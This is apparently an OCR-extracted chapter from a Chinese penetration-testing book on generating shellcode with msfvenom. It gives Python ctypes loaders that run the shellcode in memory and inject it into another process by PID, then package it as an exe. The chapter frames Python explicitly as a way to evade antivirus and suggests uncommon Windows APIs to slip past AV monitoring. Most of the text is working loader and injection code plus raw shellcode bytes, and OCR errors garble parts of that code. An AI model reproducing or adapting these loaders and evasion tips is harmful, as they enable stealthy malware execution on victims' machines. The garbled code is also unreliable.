生成shellcode
在漏洞利用中,shellcode是不可或缺的部分,所以在网上有许多公开分享的 shellcode ,在不同平台上并不通用,需要选择适合的shellcode 。这里推荐两个常 见公开的安全平台:一个为公开的漏洞库exploit-db(见公众号链接10-1),一个 为公开的Shell-strom库(见公众号链接10-2),如图10-1和图10-2所示。
图10-1 exploit-db公开漏洞库
图10-2 Shell-storm公开库
此外,还可以通过软件获取shellcode 。这里选用渗透场景中出现频率较高的 Metasploit来进行shellcode生成。在配置好Metasploit 的环境中直接输入
msfvenom ,如下所示:
进入msfvenom模块后,有许多选项供选择,这里选用-L选项可以查看所有的 Payload等信息,如下所示:
这里选择windows/x64/exec模块,设置接收值为calc.exe ,选择-f选项指定生成 脚本为Python脚本的shellcode ,如下所示:
10.2 shellcode 的加载与执行
shellcode是一段利用软件漏洞来执行的代码,为十六进制的机器码,因为经 常让攻击者获得shell而得名。shellcode常用机器语言编写,可在寄存器eip溢出 后,载入一段可让CPU执行的shellcode机器码,让计算机可以执行任意指令。
由于Python是一种较新的语言,并且现在多数杀毒厂商的软件对于Python文 件的查杀技术还不完善,因此多数Python文件都是可以做到免杀的,所以在
shellcode 的使用中Python也较为常见。下面讲解两种用Python加载的shellcode方 法。
1. 内存加载shellcode
首先通过下列命令生成一个shellcode 。使用msfvenom-p选项来指定payload, 这里选用了windows/项4/exec模块接收的参数。使用calc.exe执行弹出计算器的操 作。-f选项用来指定生成的shellcode 的编译语言。如下所示:
msfvenom -p windows/x64/exec CMD= 'calc .exe ' -f py
执行效果如下。
具体实现步骤如下。
1)导入模块,并给程序分配内存后可进行读写操作。这里用到的模块有sys 和ctypes模块:
from c types import * from ctypes .win types import * import sys PAGE_EXECUTE_READWRITE = 0x00000040 MEM_COMMIT = 0x3000 # 分配内存 PROCESS_ALL_ACCESS = ( 0x000F0000 | |
# 区域可执行代码,可读可写 0x00100000 | 0xFFF ) #给予进程所有权限 |
2)调用windows api ,以便后续进行调用。Windows中有很多内置的API ,在 执行shellcode时需要调用相关的API函数,在免杀过程中,许多杀毒软件会监控 Windows的API ,调用一些底层函数,或者少见的API函数,就可以绕过杀毒软件 的API监测: |
# windows api
VirtualAlloc = windll.kernel32 .VirtualAlloc
RtlMoveMemory = windll.kernel32 .RtlMoveMemory
CreateThread = windll.kernel32 .CreateThread
WaitForSingleObject = windll.kernel32 .WaitForSingleObject
OpenProcess = windll.kernel32 .OpenProcess
VirtualAllocEx = windll.kernel32 .VirtualAllocEx
WriteProcessMemory = windll.kernel32 .WriteProcessMemory
CreateRemoteThread = windll.kernel32 .CreateRemoteThread
3)将前面生成的shellcode赋值给shellcode参数,赋值前使用bytearray函数处 理: |
shellcode = bytearray( b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" b"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" b"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" b"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" b"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" b"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" b"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" b"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" b"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" b"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" b"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" b"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" b"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" b"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" b"\x63\x2e\x65\x78\x65\x00" ) |
4)创建一个方法并调用,申请内存,将shellcode指向分配的内存指针,再复 制shellcode到内存中,创建线程事件并执行: |
def run1() : VirtualAlloc .restype = c types .c_void_p # 重载函数返回类型为void p = VirtualAlloc(c_in t(0), c_in t(len(shellcode)), MEM_COMMIT, PAGE_ EXECUTE_READWRITE) # 申请内存 buf = (c_char * len(shellcode)) .from_buffer(shellcode) # 将shellcode指向 # 指针 RtlMoveMemory(c_void_p(p), buf, c_in t(len(shellcode))) # 复制shellcode到 # 申请的内存中 h = CreateThread(c_in t(0), c_in t(0), c_void_p(p), c_in t(0), c_in t(0), pointer(c_in t(0))) # 执行创建线程 WaitForSingleObject(c_in t(h), c_in t(-1)) # 检测线程创建事件 if __name__ == "__main__" : run1() |
5)运行后可以成功弹出计算器,如图10-3所示,但这还没有结束,如果目标 机器中没有Python环境,shellcode便无法执行。
图10-3 用shellcode弹出计算器
6)根据脚本生成一个exe文件,使用Python的pyinstaller生成pyinstaller-F 1.py ,如下所示:
运行exe文件也成功了,如图10-4所示。
图10-4 运行exe文件
2.进程注入shellcode
输入下列命令可以生成shellcode 。跟上面一样,使用-p选定exec的模块,接受 参数值为calc.exe ,设置EXITFUNC参数值为thread ,拉起子线程并在子线程中运 行shellcode 。-f用于指定生成的shellcode为Python编码:
U
msfvenom -p windows/exec CMD= 'calc .exe ' EXITFUNC=thread -f py
执行效果如下所示。
具体步骤如下:
1)导入模块,分配内存并给予权限,调用ctypes和sys模块:
from c types import * from ctypes .win types import * import sys PAGE_EXECUTE_READWRITE = 0x00000040 # 区域可执行代码,可读可写 MEM_COMMIT = 0x3000 # 分配内存 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) #给予进程所有权限 |
2)调用windows api ,以便后续调用,通过调用windows api执行shellcode 中的 内容: |
# windows api VirtualAlloc = windll.kernel32 .VirtualAlloc RtlMoveMemory = windll.kernel32 .RtlMoveMemory CreateThread = windll.kernel32 .CreateThread WaitForSingleObject = windll.kernel32 .WaitForSingleObject OpenProcess = windll.kernel32 .OpenProcess VirtualAllocEx = windll.kernel32 .VirtualAllocEx WriteProcessMemory = windll.kernel32 .WriteProcessMemory CreateRemoteThread = windll.kernel32 .CreateRemoteThread |
3)赋值shellcode ,这里使用另一种赋值方式:
|
shellcode1 = b""
shellcode1 += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
shellcode1 += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
shellcode1 += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
shellcode1 += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
shellcode1 += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
shellcode1 += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
shellcode1 += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
shellcode1 += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
shellcode1 += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
shellcode1 += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
shellcode1 += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
shellcode1 += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
shellcode1 += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
shellcode1 += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
shellcode1 += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
shellcode1 += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
shellcode1 += b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
shellcode1 += b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41"
shellcode1 += b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
shellcode1 += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
shellcode1 += b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"
shellcode1 += b"\x78\x65\x00"
4)创建一个方法run ,用接收的pid号进行进程注入,调用之前复制的api ,通 过将shellcode注入pid进程中以完成攻击: |
def run2(pid) : h_process = OpenProcess(PROCESS_ALL_ACCESS, False, pid) if h_process: p = VirtualAllocEx(h_process, c_in t(0), c_in t(len(shellcode1)), MEM_ COMMIT, PAGE_EXECUTE_READWRITE) WriteProcessMemory .argtypes = [HANDLE, LPVOID, LPCVOID, c_size_t, POINTER(c_size_t)] WriteProcessMemory .restype = BOOL buf = create_string_buffer(shellcode1) WriteProcessMemory(h_process, p, shellcode1, sizeof(buf), byref(c_ size_t(0))) else: print("无法打开进程pid : %s" % pid) sys .exit() CreateRemoteThread(h_process, None, c_in t(0), p, None, 0, byref(c_ulong(0))) if __name__ == "__main__" : run2(in t(sys .argv[1])) |
5)运行之前,在任务管理器里找一个被注入的进程的pid号,这里选用桌面 进程pid为6828 ,如图10-5所示。
图10-5 选用桌面进程pid
6)成功弹出计算器程序。将代码用同样的方法,使用Python的pyinstaller生 成exe文件后,仍然可以运行,如图10-6所示。
图10-6 弹出计算器程序